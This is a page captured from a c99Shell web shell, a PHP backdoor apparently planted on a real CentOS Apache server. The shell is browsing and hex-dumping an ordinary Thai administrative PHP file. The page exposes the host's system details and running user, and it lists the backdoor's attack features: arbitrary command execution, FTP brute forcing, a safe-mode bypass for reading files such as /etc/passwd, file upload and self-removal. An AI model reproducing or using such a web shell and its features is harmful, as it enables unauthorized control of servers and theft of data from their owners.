!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/admin/   drwxr-xr-x
Free 52.31 GB of 127.8 GB (40.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showRegisDocSign.php (783 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/manage/directorBCNU/admin/showRegisDocSign.php
Size 783 B
MD5 fde78bc158dadbf620afd7bf8050e20f
Owner/Group root/root
Perms-rw-r--r--
Create time 28/01/2015 10:49:26
Access time 31/07/2024 08:50:42
MODIFY time 22/08/2007 08:50:38

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
00000300
3C 68 74 6D 6C 3E 0D 0A 3C 68 65 61 64 3E 0D 0A 3C 73 63 72 69 70 74 20
6C 61 6E 67 75 61 67 65 3D 22 6A 61 76 61 73 63 72 69 70 74 22 20 73 72
63 3D 22 2E 2E 2F 73 6F 75 72 63 65 2F 63 61 6C 65 6E 64 61 72 44 61 74
65 49 6E 70 75 74 2E 6A 73 22 3E 3C 2F 73 63 72 69 70 74 3E 0D 0A 3C 6D
65 74 61 20 68 74 74 70 2D 65 71 75 69 76 3D 22 43 6F 6E 74 65 6E 74 2D
54 79 70 65 22 20 63 6F 6E 74 65 6E 74 3D 22 74 65 78 74 2F 68 74 6D 6C
3B 20 63 68 61 72 73 65 74 3D 74 69 73 2D 36 32 30 22 3E 0D 0A 3C 6C 69
6E 6B 20 68 72 65 66 3D 22 2E 2E 2F 73 6F 75 72 63 65 2F 73 74 79 6C 65
2E 63 73 73 22 20 72 65 6C 3D 22 73 74 79 6C 65 73 68 65 65 74 22 20 74
79 70 65 3D 22 74 65 78 74 2F 63 73 73 22 3E 0D 0A 3C 2F 68 65 61 64 3E
0D 0A 3C 62 6F 64 79 3E 0D 0A 3C 74 61 62 6C 65 20 77 69 64 74 68 3D 22
31 30 30 25 22 20 62 6F 72 64 65 72 3D 22 30 22 20 61 6C 69 67 6E 3D 22
63 65 6E 74 65 72 22 20 63 65 6C 6C 70 61 64 64 69 6E 67 3D 22 30 22 20
63 65 6C 6C 73 70 61 63 69 6E 67 3D 22 31 22 3E 0D 0A 3C 74 72 20 62 67
63 6F 6C 6F 72 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 47 4C 4F 42 41
4C 53 5B 22 43 4F 4C 4F 52 5F 42 47 5F 54 44 5F 32 22 5D 3B 20 3F 3E 22
20 68 65 69 67 68 74 3D 32 32 3E 3C 74 64 20 61 6C 69 67 6E 3D 22 6C 65
66 74 22 3E 26 6E 62 73 70 3B A2 E9 CD A4 C7 D2 C1 E0 A1 C9 D5 C2 B9 E3
B9 CB B9 E8 C7 C2 A7 D2 B9 3C 2F 74 64 3E 3C 2F 74 72 3E 0D 0A 3C 74 72
20 68 65 69 67 68 74 3D 31 32 34 20 62 67 63 6F 6C 6F 72 3D 22 3C 3F 70
68 70 20 65 63 68 6F 20 24 47 4C 4F 42 41 4C 53 5B 22 43 4F 4C 4F 52 5F
42 47 5F 54 44 5F 31 37 22 5D 3B 20 3F 3E 22 3E 3C 74 64 20 61 6C 69 67
6E 3D 22 63 65 6E 74 65 72 22 3E 3C 3F 20 69 66 28 24 52 73 49 44 3D 3D
31 20 7C 7C 20 24 52 73 49 44 3D 3D 32 20 7C 7C 20 24 52 73 49 44 3D 3D
34 29 7B 20 3F 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 22 3C 3F 70 68 70
20 65 63 68 6F 20 24 47 4C 4F 42 41 4C 53 5B 22 43 4F 4C 4F 52 5F 46 4F
4E 54 5F 33 22 5D 3B 20 3F 3E 22 20 73 69 7A 65 3D 22 32 22 3E 2A 2A 20
E4 C1 E8 BE BA A2 E9 CD A4 C7 D2 C1 E0 A1 C9 D5 C2 B9 20 2A 2A 20 3C 2F
66 6F 6E 74 3E 3C 3F 20 7D 65 6C 73 65 7B 20 20 65 63 68 6F 20 22 26 6E
62 73 70 3B 22 3B 20 7D 20 3F 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 0D 0A 3C
74 72 3E 0D 0A 09 09 09 09 3C 74 64 3E 26 6E 62 73 70 3B 3C 2F 74 64 3E
0D 0A 09 09 09 09 3C 2F 74 72 3E 0D 0A 3C 2F 74 61 62 6C 65 3E 0D 0A 3C
2F 62 6F 64 79 3E 0D 0A 3C 2F 68 74 6D 6C 3E 		<html>  <head>  <script 
language="javascript" sr
c="../source/calendarDat
eInput.js"></script>  <m
eta http-equiv="Content-
Type" content="text/html
; charset=tis-620">  <li
nk href="../source/style
.css" rel="stylesheet" t
ype="text/css">  </head>
  <body>  <table width="
100%" border="0" align="
center" cellpadding="0" 
cellspacing="1">  <tr bg
color="<?php echo $GLOBA
LS["COLOR_BG_TD_2"]; ?>"
 height=22><td align="le
ft">&nbsp;ข้อความเกษียนใ
นหน่วยงาน</td></tr>  <tr
 height=124 bgcolor="<?p
hp echo $GLOBALS["COLOR_
BG_TD_17"]; ?>"><td alig
n="center"><? if($RsID==
1 || $RsID==2 || $RsID==
4){ ?><font color="<?php
 echo $GLOBALS["COLOR_FO
NT_3"]; ?>" size="2">** 
ไม่พบข้อความเกษียน ** </
font><? }else{  echo "&n
bsp;"; } ?></td></tr>  <
tr>   <td>&nbsp;</td>
   </tr>  </table>  <
/body>  </html>

HEXDUMP: [Full] [Preview]
Base64: [Encode]  [+chunk]  [+chunk+quotes]  [Decode] 


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0089 ]--